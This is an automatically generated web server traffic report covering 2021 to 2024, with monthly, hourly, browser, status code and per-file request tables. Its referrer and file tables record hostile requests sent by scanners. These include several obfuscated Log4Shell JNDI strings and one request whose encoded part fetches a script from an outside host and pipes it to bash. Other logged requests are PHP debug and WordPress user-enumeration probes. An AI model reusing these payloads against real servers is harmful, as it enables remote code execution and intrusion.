Program started on Sat, Aug 31 2024 at 12:00 PM.
Analyzed requests from Mon, Apr 05 2021 at 5:50 PM to Sat, Aug 31 2024 at 11:07 AM (1243.72 days).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Figures in parentheses refer to the 7-day period ending Aug 31 2024 at 12:00 PM.
Successful requests: 37,832 (218)
Average successful requests per day: 30 (31)
Successful requests for pages: 35,393 (183)
Average successful requests for pages per day: 28 (26)
Failed requests: 167,763 (87)
Redirected requests: 11 (0)
Distinct files requested: 942 (15,027)
Distinct hosts served: 11,304 (48,323)
Data transferred: 1.54 gigabytes (76.77 megabytes)
Average data transferred per day: 1.27 megabytes (10.97 megabytes)
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 40 requests for pages or part thereof.
month | #reqs | #pages | |
---|---|---|---|
Apr 2021 | 493 | 493 | ![]() ![]() ![]() |
May 2021 | 572 | 568 | ![]() ![]() ![]() ![]() |
Jun 2021 | 682 | 658 | ![]() ![]() |
Jul 2021 | 772 | 771 | ![]() ![]() |
Aug 2021 | 741 | 741 | ![]() ![]() ![]() |
Sep 2021 | 757 | 757 | ![]() ![]() ![]() |
Oct 2021 | 971 | 934 | ![]() ![]() |
Nov 2021 | 966 | 960 | ![]() ![]() |
Dec 2021 | 3257 | 1448 | ![]() ![]() ![]() |
Jan 2022 | 895 | 879 | ![]() ![]() ![]() |
Feb 2022 | 844 | 816 | ![]() ![]() ![]() |
Mar 2022 | 874 | 837 | ![]() ![]() ![]() |
Apr 2022 | 965 | 929 | ![]() ![]() |
May 2022 | 897 | 896 | ![]() ![]() ![]() ![]() |
Jun 2022 | 833 | 824 | ![]() ![]() ![]() |
Jul 2022 | 732 | 732 | ![]() ![]() ![]() |
Aug 2022 | 897 | 890 | ![]() ![]() ![]() ![]() |
Sep 2022 | 865 | 851 | ![]() ![]() ![]() |
Oct 2022 | 999 | 984 | ![]() ![]() ![]() |
Nov 2022 | 854 | 853 | ![]() ![]() ![]() |
Dec 2022 | 890 | 886 | ![]() ![]() ![]() ![]() |
Jan 2023 | 1025 | 1011 | ![]() ![]() ![]() |
Feb 2023 | 857 | 857 | ![]() ![]() ![]() |
Mar 2023 | 810 | 796 | ![]() ![]() |
Apr 2023 | 846 | 838 | ![]() ![]() ![]() |
May 2023 | 850 | 850 | ![]() ![]() ![]() |
Jun 2023 | 853 | 853 | ![]() ![]() ![]() |
Jul 2023 | 952 | 951 | ![]() ![]() |
Aug 2023 | 927 | 927 | ![]() ![]() |
Sep 2023 | 1252 | 1251 | ![]() |
Oct 2023 | 609 | 609 | ![]() |
Nov 2023 | 801 | 773 | ![]() ![]() |
Dec 2023 | 914 | 914 | ![]() ![]() ![]() ![]() |
Jan 2024 | 1009 | 1009 | ![]() ![]() ![]() |
Feb 2024 | 796 | 796 | ![]() ![]() |
Mar 2024 | 786 | 786 | ![]() ![]() |
Apr 2024 | 823 | 814 | ![]() ![]() ![]() |
May 2024 | 989 | 915 | ![]() ![]() ![]() ![]() |
Jun 2024 | 908 | 887 | ![]() ![]() ![]() ![]() |
Jul 2024 | 1032 | 924 | ![]() ![]() |
Aug 2024 | 1037 | 925 | ![]() ![]() |
Busiest month: Dec 2021 (1,448 requests for pages).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 150 requests for pages or part thereof.
day | #reqs | #pages | |
---|---|---|---|
Sun | 4549 | 4494 | ![]() ![]() ![]() ![]() |
Mon | 5212 | 5074 | ![]() ![]() |
Tue | 5738 | 5252 | ![]() ![]() |
Wed | 6902 | 5420 | ![]() ![]() ![]() |
Thu | 4848 | 4779 | ![]() |
Fri | 5511 | 5386 | ![]() ![]() |
Sat | 5072 | 4988 | ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 40 requests for pages or part thereof.
hour | #reqs | #pages | |
---|---|---|---|
0 | 1789 | 1284 | ![]() ![]() |
1 | 1511 | 1489 | ![]() ![]() ![]() |
2 | 1511 | 1498 | ![]() ![]() ![]() |
3 | 1544 | 1498 | ![]() ![]() ![]() |
4 | 1646 | 1618 | ![]() ![]() ![]() |
5 | 1761 | 1704 | ![]() ![]() ![]() ![]() |
6 | 1609 | 1574 | ![]() ![]() |
7 | 1588 | 1554 | ![]() ![]() ![]() ![]() |
8 | 1520 | 1513 | ![]() ![]() ![]() |
9 | 1549 | 1540 | ![]() ![]() ![]() ![]() |
10 | 1493 | 1466 | ![]() ![]() ![]() |
11 | 1308 | 1300 | ![]() ![]() |
12 | 2004 | 1578 | ![]() ![]() |
13 | 1507 | 1409 | ![]() ![]() |
14 | 2010 | 1488 | ![]() ![]() ![]() |
15 | 1386 | 1346 | ![]() ![]() |
16 | 1628 | 1584 | ![]() ![]() |
17 | 1363 | 1348 | ![]() ![]() |
18 | 1409 | 1389 | ![]() ![]() ![]() |
19 | 1410 | 1382 | ![]() ![]() ![]() |
20 | 1397 | 1381 | ![]() ![]() ![]() |
21 | 1460 | 1418 | ![]() ![]() |
22 | 1685 | 1590 | ![]() ![]() |
23 | 1744 | 1442 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing domains, sorted by the amount of traffic.
#reqs | %bytes | domain |
---|---|---|
37832 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 20 organizations by the number of requests, sorted by the number of requests.
#reqs | %bytes | organization |
---|---|---|
2475 | 5.94% | 150.230 |
2009 | 0.75% | 45 |
1388 | 0.53% | 167.94 |
1238 | 16.01% | 34 |
918 | 0.35% | 128.14 |
870 | 1.27% | 35 |
786 | 0.30% | 162.142 |
770 | 0.29% | 167.248 |
758 | 3.15% | 51 |
710 | 0.27% | 185.180 |
693 | 0.26% | 192.241 |
677 | 0.26% | 183.136 |
645 | 0.24% | 198.235 |
634 | 0.24% | 205.210 |
601 | 0.23% | 20 |
498 | 0.19% | 193.118 |
491 | 0.18% | 47 |
486 | 0.18% | 103 |
482 | 0.18% | 83 |
461 | 0.17% | 36 |
20242 | 69.00% | [not listed: 1,026 organizations] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing referring URLs, sorted by the number of redirected requests.
#reqs | URL |
---|---|
3 | https://161.97.122.176/ |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 30 referring URLs by the number of failed requests, sorted by the number of failed requests.
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 30 referring sites by the number of requests, sorted by the number of requests.
#reqs | site |
---|---|
504 | https://161.97.122.176/ |
68 | http://www.google.com.hk/ |
47 | https://easyseo.s-nac.com/ |
36 | https://www.google.com/ |
35 | https://admin.parvasi.com/ |
30 | https://wenvpn.com/ |
25 | https://google.com/ |
22 | https://bing.com/ |
21 | https://autodiscover.parvasi.com/ |
21 | https://ftp.parvasi.com/ |
16 | ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}:/ |
15 | http://baidu.com/ |
9 | ff=${jndi:ldap:/ |
7 | https://150.230.58.109/ |
7 | https://152.67.86.52/ |
7 | https://150.230.150.227/ |
4 | https://m.meendoru.net/ |
3 | https://zhongguovpn.com/ |
2 | ${jndi:ldap:/ |
2 | https://www.mudvod.tv/ |
2 | https://www.canadianparvasi.com/ |
2 | http://161.97.122.176/ |
1 | http://google.com/ |
1 | http://gdlp.com.br/ |
1 | https://ns10.mehramedia.com/ |
1 | http://www.google.com/ |
1 | t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}/ |
1 | https://boobieparade.com/ |
1 | ${${::-j}ndi:dns:/ |
1 | https://www.google.com.tr/ |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests for pages.
#reqs | #pages | browser |
---|---|---|
3229 | 3227 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
2382 | 2382 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1743 | 1743 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) |
1615 | 1614 | Mozilla/5.0 zgrab/0.x |
1610 | 1610 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com |
1388 | 1387 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
949 | 949 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 |
847 | 847 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
724 | 724 | url |
573 | 573 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0 |
515 | 515 | Go-http-client/1.1 |
390 | 390 | python-requests/2.31.0 |
383 | 383 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 |
357 | 357 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
330 | 330 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 |
322 | 322 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 |
311 | 311 | Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
300 | 300 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE |
298 | 298 | Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com) |
275 | 275 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 |
253 | 253 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0 |
246 | 246 | Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/) |
206 | 206 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 |
203 | 203 | python-requests/2.28.1 |
200 | 200 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 |
196 | 196 | NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com |
178 | 178 | python-requests/2.26.0 |
169 | 169 | Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 10.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) |
167 | 167 | Mozilla/5.0 |
166 | 166 | python-requests/2.27.1 |
166 | 166 | 'Cloud mapping experiment. Contact research@pdrlabs.net' |
163 | 163 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36 |
160 | 160 | python-requests/2.28.2 |
155 | 155 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
153 | 153 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 |
147 | 147 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 |
140 | 140 | Hello World |
134 | 134 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 |
132 | 132 | Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0 |
130 | 130 | 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0' |
7987 | 7317 | [not listed: 1,545 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
# | #reqs | #pages | browser |
---|---|---|---|
1 | 16492 | 15937 | Safari |
15331 | 14790 | Safari/537 | |
876 | 876 | Safari/534 | |
94 | 87 | Safari/605 | |
40 | 40 | Safari/601 | |
34 | 34 | Safari/604 | |
25 | 25 | Safari/533 | |
11 | 11 | Safari/536 | |
9 | 9 | Safari/4E423F | |
8 | 8 | Safari/535 | |
6 | 6 | Safari/525 | |
2 | 2523 | 2523 | Netscape (compatible) |
3 | 2602 | 2494 | Firefox |
575 | 575 | Firefox/47 | |
253 | 253 | Firefox/8 | |
161 | 161 | Firefox/115 | |
134 | 134 | Firefox/73 | |
134 | 134 | Firefox/101 | |
115 | 115 | Firefox/110 | |
109 | 108 | Firefox/79 | |
104 | 104 | Firefox/58 | |
103 | 103 | Firefox/65 | |
80 | 80 | Firefox/72 | |
4 | 1879 | 1878 | Mozilla |
39 | 39 | Mozilla/1 | |
3 | 3 | Mozilla/2 | |
1 | 1 | Mozilla/15 | |
5 | 1610 | 1610 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
1610 | 1610 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
6 | 1322 | 1322 | python-requests |
1322 | 1322 | python-requests/2 | |
7 | 724 | 724 | url |
8 | 515 | 515 | Go-http-client |
515 | 515 | Go-http-client/1 | |
9 | 289 | 289 | curl |
285 | 285 | curl/7 | |
4 | 4 | curl/8 | |
10 | 249 | 249 | MSIE |
185 | 185 | MSIE/9 | |
18 | 18 | MSIE/10 | |
17 | 17 | MSIE/7 | |
13 | 13 | MSIE/8 | |
10 | 10 | MSIE/6 | |
4 | 4 | MSIE/5 | |
2 | 2 | MSIE/11 | |
11 | 196 | 196 | NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com |
12 | 166 | 166 | 'Cloud mapping experiment. Contact research@pdrlabs.net' |
13 | 140 | 140 | Hello World |
14 | 104 | 104 | HTTP Banner Detection (https: |
104 | 104 | HTTP Banner Detection (https://security | |
15 | 102 | 102 | Expanse indexes the network perimeters of our customers. If you have any questions or concerns, please reach out to: scaninfo@expanseinc.com |
16 | 100 | 100 | l9tcpid |
96 | 96 | l9tcpid/v1 | |
4 | 4 | l9tcpid/0 | |
17 | 99 | 99 | Chrome |
90 | 90 | Chrome/54 | |
3 | 3 | Chrome/51 | |
18 | 93 | 93 | https: |
93 | 93 | https://gdnplus | |
19 | 75 | 75 | libwww-perl |
73 | 73 | libwww-perl/6 | |
2 | 2 | libwww-perl/5 | |
20 | 57 | 57 | Apache-HttpClient |
57 | 57 | Apache-HttpClient/4 | |
655 | 645 | [not listed: 118 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing operating systems, sorted by the number of requests for pages.
# | #reqs | #pages | OS |
---|---|---|---|
1 | 11294 | 11048 | Windows |
9239 | 9026 | Windows NT | |
1819 | 1795 | Unknown Windows | |
204 | 195 | Windows XP | |
21 | 21 | Windows 2000 | |
4 | 4 | Windows Server 2003 | |
3 | 3 | Windows CE | |
2 | 2 | Windows 98 | |
1 | 1 | Windows 95 | |
1 | 1 | Windows ME | |
2 | 10298 | 10291 | OS unknown |
3 | 4974 | 4624 | Unix |
4944 | 4594 | Linux | |
17 | 17 | BSD | |
12 | 12 | Other Unix | |
1 | 1 | SunOS | |
4 | 3304 | 3233 | Macintosh |
5 | 109 | 109 | Known robots |
6 | 8 | 8 | Symbian OS |
7 | 4 | 4 | OS/2 |
8 | 1 | 1 | Palm OS |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing status codes, sorted numerically.
#reqs | status code |
---|---|
37800 | 200 OK |
2 | 206 Partial content |
11 | 301 Document moved permanently |
30 | 304 Not modified since last retrieval |
58 | 400 Bad request |
99372 | 404 Document not found |
18 | 405 Method not allowed |
66469 | 408 Request timeout |
1846 | 4xx [Miscellaneous client/user errors] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
size | #reqs | %bytes |
---|---|---|
0 | 627 | |
1B- 10B | 0 | |
11B- 100B | 0 | |
101B- 1kB | 4 | |
1kB- 10kB | 34853 | 13.16% |
10kB-100kB | 2001 | 4.68% |
100kB- 1MB | 85 | 1.29% |
1MB- 10MB | 262 | 80.88% |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | extension |
---|---|---|
559 | 83.06% | .jpg [JPEG graphics] |
35352 | 13.25% | [directories] |
353 | 0.51% | .css [Cascading Style Sheets] |
224 | 0.47% | .gif [GIF graphics] |
242 | 0.42% | [no extension] |
156 | 0.32% | .cgi [CGI scripts] |
134 | 0.28% | .js [JavaScript code] |
113 | 0.23% | .png [PNG graphics] |
110 | 0.23% | .php [PHP] |
92 | 0.19% | .jsp [Java Server Pages] |
92 | 0.19% | .pl [Perl scripts] |
78 | 0.16% | .txt [Plain text] |
324 | 0.69% | [not listed: 43 extensions] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | directory |
---|---|---|
564 | 83.02% | /images/ |
35211 | 13.11% | [root directory] |
1828 | 3.82% | /webmail/ |
55 | 0.02% | http:// |
119 | 0.01% | /css/ |
52 | 0.01% | [not listed: 4 directories] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing files with at least 20 requests, sorted by the number of requests.
#reqs | %bytes | last time | file |
---|---|---|---|
35197 | 13.11% | Aug/31/24 9:37 AM | / |
1102 | 0.42% | Aug/30/24 10:38 PM | /?XDEBUG_SESSION_START=phpstorm |
293 | 0.11% | Aug/30/24 2:19 PM | /?35.206.82.75 |
126 | 0.05% | Sep/24/22 3:17 PM | /?2.58.149.188 |
82 | 0.03% | Dec/ 9/21 1:28 PM | /?103.10.31.15 |
75 | 0.03% | Aug/29/24 3:03 AM | /?name=example.com&type=A |
59 | 0.02% | May/ 8/24 11:37 AM | /?dns=q80BAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB |
46 | 0.02% | Jun/13/24 5:25 PM | /?rest_route=/wp/v2/users/ |
20 | 0.01% | Aug/13/24 4:11 PM | /?phpinfo=1 |
19 | 0.01% | Aug/13/24 4:11 PM | /?pp=enable&pp=env |
16 | 0.01% | Jan/ 3/22 5:13 AM | /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjEuOTcuMTIyLjE3Njo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTYxLjk3LjEyMi4xNzY6NDQzKXxiYXNo} |
15 | 0.01% | Aug/13/24 4:11 PM | /?pp=env |
12 | Feb/22/23 2:10 PM | /?dns=DUIBAAABAAAAAAAABWJhaWR1A2NvbQAAAQAB | |
11 | Jun/ 4/21 2:19 PM | /?213.108.196.109 | |
10 | Aug/13/24 4:11 PM | /?phpinfo.php | |
10 | Aug/13/24 4:11 PM | /?phpinfo | |
10 | Aug/13/24 4:11 PM | /?p=php | |
115 | 0.01% | Aug/27/24 5:12 AM | /css/style.css |
94 | 14.04% | Aug/27/24 5:13 AM | /images/interior-bg-1.jpg |
91 | 28.51% | Aug/27/24 5:13 AM | /images/b-2.jpg |
89 | 0.51% | Aug/27/24 5:13 AM | /images/p2.jpg |
89 | 38.33% | Aug/27/24 5:13 AM | /images/b-3.jpg |
89 | 0.34% | Aug/27/24 5:13 AM | /images/p3.jpg |
89 | 1.29% | Aug/27/24 5:13 AM | /images/p1.jpg |
80 | 0.17% | Dec/ 7/21 11:04 PM | /webmail/console/login/LoginForm.jsp |
54 | 0.02% | Jan/ 3/24 3:33 AM | http://d3sspl5ropfzm8.cloudfront.net/ |
30 | 0.06% | Dec/ 8/21 12:24 AM | /webmail/ |
20 | Dec/ 7/21 11:03 PM | /images/ | |
1792 | 3.61% | Apr/23/24 10:50 PM | [not listed: 758 files] |